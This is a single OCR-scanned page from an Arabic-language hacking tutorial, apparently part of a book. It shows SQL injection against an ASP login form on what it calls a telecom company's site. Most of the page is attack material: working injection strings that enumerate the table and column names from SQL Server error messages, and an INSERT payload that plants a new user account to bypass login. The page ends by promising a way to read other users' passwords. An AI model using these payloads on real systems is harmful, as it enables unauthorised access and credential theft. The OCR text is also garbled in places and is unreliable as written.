Page 236 - بسم الله الرحمن الرحيم
P. 236
Microsoft OLE DB Provider for ODBC Drivers error
''80040e14
]Microsoft][ODBC SQL Server Driver][SQL Server]Column
'cs_isp_user.passwd' is invalid in the select list because it
is not contained in either an aggregate function or the
.GROUP BY clause
arabic/Scripts/ar_csd_reply.asp, line 33/
هنا حصلنا على معلومتين وهي أسم الجدول وهو cs_isp_user
وأيضا أسم أحد العمده وهو passwd
نقو.م الن بتكرار العمل السابق ولكن بإستخدا.م اسم العمود الجديد
فنقو.م بإدختال أسم المستخد.م التالي --(blah' group by (passwd :
فنحصل على الخطأ التالي :
اقتباس:
Microsoft OLE DB Provider for ODBC Drivers error
''80040e14
]Microsoft][ODBC SQL Server Driver][SQL Server]Column
'cs_isp_user.UserID' is invalid in the select list because it is
not contained in either an aggregate function or the GROUP
.BY clause
arabic/Scripts/ar_csd_reply.asp, line 33/
حصلنا على أسم عمود وهو UserIDوهو نفسه ما قمنا بتخمينه وهو userid
تصجدر الشاره إلى أن MS SQL Serverليس حساس لحالة الحرف (:
نلحظ أننا سنكون في حلقه غير منتهيه ول نحصل إل على أسماء الجداول UserIDو passwd
إذن الجدول ل يحوي إل على عمودين وهي التي حصلنا عليها
إذن في الحاله هذه نقو.م بأدختال مستخد.م جهديد للجدول وبعدها نقو.م بالدختول بشكل طبيعي من الصفحه
الخاصه بتسجيل الدختول (:
سنقو.م بكتابة التالي في ختانة أسم المستخد.م blah' INSERT INTO :
cs_isp_user(UserID,passwd
( --('VALUES('M_3','hi
حيث سيتم إضافة مستخد.م جهديد له أسم مستخد.م M_3وكلمة مرور hi
وبعدها تصستطيع الدختول للصفحة المحميه بهذه البيانات على أنك مخول له بالدختول
في مثالنا )شركة التصصالت( أنتهينا من استغلل أمكانية عمل injectلها ولكننا سنكمل الحديث عن طريقه
ممتعه لكي نستطبع قرائة اسماء المستخدمين وكلمات مرورهم وبعدها تصستطيع الدختول بأي منها دون إضافة
236